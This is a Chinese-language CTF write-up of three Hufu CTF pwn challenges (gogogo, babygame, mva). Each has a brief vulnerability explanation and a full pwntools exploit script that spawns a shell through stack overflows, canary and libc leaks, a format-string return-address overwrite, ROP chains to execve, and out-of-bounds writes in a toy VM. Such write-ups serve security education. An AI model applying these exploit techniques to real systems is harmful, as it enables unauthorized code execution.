虎符ctf gogogo 主要难点在逆向,代码有一千多行,ida7.7能大致反编译出go的伪代码,但是伪代码中还是有很多意义不明的代码出现,再加上go的函数调用的参数放在父函数的栈上,导致ida对参数的解析比较密,不能很好的看出传入的参数是啥,只能动态调试,最后逆出了最后退出的时候会向栈上写数据且有栈溢出
然后中间还得玩个很复杂的游戏,主要难点就这两个了。
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level='debug' sh=process("./pwn" ) ''' 0x000000000045c849: syscall; ret; 0x0000000000405b78: pop rax; ret; 0x00000000004742da: pop rdi; xor eax, eax; mov rbp, qword ptr [rsp + 0xb0]; add rsp, 0xb8; ret; 0x000000000045544a: pop rsi; add byte ptr [rax], al; mov byte ptr [rax], 1; mov rbp, qword ptr [rsp + 0x10]; add rsp, 0x18; ret; 0x000000000048546c: pop rdx; ret; ''' bss=0x538000 +0x20 syscall_ret=0x000000000045c849 pop_rax_ret=0x0000000000405b78 rdi=0x00000000004742da rsi=0x000000000045544a rdx=0x000000000048546c def exit (content ): sh.recvuntil("(4) EXIT" ) sh.sendline(str (4 )) sh.recvuntil("ARE YOU SURE?" ) sleep(0.2 ) sh.sendline(content) def game (): sh.recvuntil("YOU HAVE SEVEN CHANCES TO GUESS\n" ) guess='3 2 1 0' while (1 ): sh.sendline(guess) ans=sh.recvline() if 'WIN' in ans: break s=str (input ('guess:' )) guess=s[0 ]+' ' +s[1 ]+' ' +s[2 ]+' ' +s[3 ] print guess def exp (): sh.recvuntil("PLEASE INPUT A NUMBER:" ) sh.sendline(str (1717986918 )) sh.recvuntil("PLEASE INPUT A NUMBER:" ) sh.sendline(str (305419896 )) sh.recvuntil('OKAY YOU CAN LEAVE YOUR NAME AND BYE~' ) sh.sendline('/bin/sh\x00' ) game() sh.recvuntil("AGAIN OR EXIT?" ) sh.sendline("e" ) payload='y' +'\x00' *(0x460 -1 ) payload+=p64(pop_rax_ret)+p64(bss) payload+=p64(rsi)+p64(0 )+'c' *0x18 payload+=p64(rdx)+p64(0 ) payload+=p64(rdi)+p64(0xc000108000 )+'d' *0xb8 payload+=p64(pop_rax_ret)+p64(59 )+p64(syscall_ret) exit(payload) sh.recvuntil('OKAY YOU CAN LEAVE YOUR NAME AND BYE~' ) sh.sendline('/bin/sh\x00' ) sh.interactive() exp()
babygame 栈溢出加格式化字符串,先通过溢出得到一个栈地址和canary,然后通过格式化字符串得到一个libc地址,爆破改返回地址为fread,不能直接改到main函数,不然标准输入输出在没有关闭的情况下会再打开一次,然后printf会报错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *context.log_level="debug" sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so' , './pwn' ], env={"LD_PRELOAD" :'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so' }) libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so' ) ''' 0x0000000000047400: pop rax; ret; 0x0000000000023b72: pop rdi; ret; 0x000000000002604f: pop rsi; ret; 0x0000000000119241: pop rdx; pop r12; ret; 0x00000000000630d9: syscall; ret; ''' def game (): fd=open ("flag.txt" ,"r+" ) for i in range (100 ): content="round {0}: \n" .format (i+1 ) sh.recvuntil(content) sh.sendline(fd.read(1 )) fd.close() def exp (): payload="a" *0x108 +'b' sh.sendafter("Please input your name:\n" ,payload) sh.recvuntil('ab' ) canary=u64(sh.recv(7 ).ljust(8 ,'\x00' ))<<8 stack_addr=u64(sh.recv(6 ).ljust(8 ,'\x00' )) print hex (stack_addr) game() sh.recvuntil("Good luck to you." ) fmt='%3$p' +'%' +str (0x74Aa -0xe )+'c%8$hn' +p64(stack_addr-0x210 ) sh.send(fmt) sleep(1 ) s=sh.recvline() m=sh.recv() libc_addr=int (m[0 :14 ],16 )-0x10e002 pop_rax=libc_addr+0x0000000000047400 pop_rdi=libc_addr+0x0000000000023b72 pop_rsi=libc_addr+0x000000000002604f pop_rdx_r12=libc_addr+0x0000000000119241 syscall=libc_addr+0x00000000000630d9 sh.recvuntil('Please input your name:\n' ) payload='/bin/sh\x00' +'a' *0x100 +p64(canary)+'b' *0x18 payload+=p64(pop_rax)+p64(59 )+p64(pop_rdi)+p64(stack_addr-0x208 )+p64(pop_rsi) payload+=p64(0 )+p64(pop_rdx_r12)+2 *p64(0 )+p64(syscall) sh.send(payload) sh.recvuntil('2. paper' ) sh.sendline('12345' ) sh.interactive() exp()
mva 第一次做vm题,这个应该算是比较简单的vm题,程序虚拟了几个指令集,包括push,pop,add sub mov xor add or
等,然后还虚拟了六个寄存器 ,每次读取四个字节,第一个字节是指令码,比如add是\x02
,第二个字节是目的寄存器,第三第四个寄存器是操作数比如\x02\x00\x01\x02
就是把第二个寄存器的数和第0个寄存器的数相加然后赋值给第一个寄存器。
漏洞就出在对边界的检查不规范导致了内存写和内存读。
正常有六个寄存器,选项1是对单个寄存器进行赋值,选项2,3,4,5,6,7是对寄存器进行计算,选项9是 入栈操作,这个可以利用v9完成返回地址写,选项a是出栈操作,可以利用v9进行返回地址的读。选项d可以进行一个 小范围的读,选项e可以进行小范围的读,选项e可以进行小范围的写,通过这个改写v9。
通过上面的几个漏洞的组合就能getshell了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context.log_level="debug" sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so' , './mva' ], env={"LD_PRELOAD" :'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so' }) libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so' ) ''' 0xe6c7e execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe6c81 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe6c84 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL ''' ogg=0xe6c81 gdb.attach(sh,"b *(0x7ffff7fc6000+0x1A62)" ) sh.recvuntil("[+] Welcome to MVA, input your code now :" ) addr_offset=0x270b3 pay='\x01\x00\x01\x0f' pay+='\x0e\x00\xf6\x00' pay+='\x0a\x01\x00\x00' pay+='\x0a\x02\x00\x00' pay+='\x0a\x03\x00\x00' pay+='\x01\x00\x70\xb3' pay+='\x03\x03\x03\x00' pay+='\x01\x00\x00\x02' pay+='\x03\x02\x02\x00' pay+='\x01\x00' +p8(0x6c )+p8(0x81 ) pay+='\x02\x03\x03\x00' pay+='\x01\x00\x00' +p8(0xe ) pay+='\x02\x02\x02\x00' pay+='\x01\x00\x01\x0c' pay+='\x0e\x00\xf6\x00' pay+='\x01\x00\x80\x00' pay+='\x0e\x00\xf9\x00' pay+='\x01\x00\x00\x00' pay+='\x02\x00\x03\x00' pay+='\x09\x00\x00\x00' pay+='\x01\x00\x00\x00' pay+='\x02\x00\x02\x00' pay+='\x09\x00\x00\x00' sh.sendline(pay.ljust(0x100 ,'a' )) sh.interactive()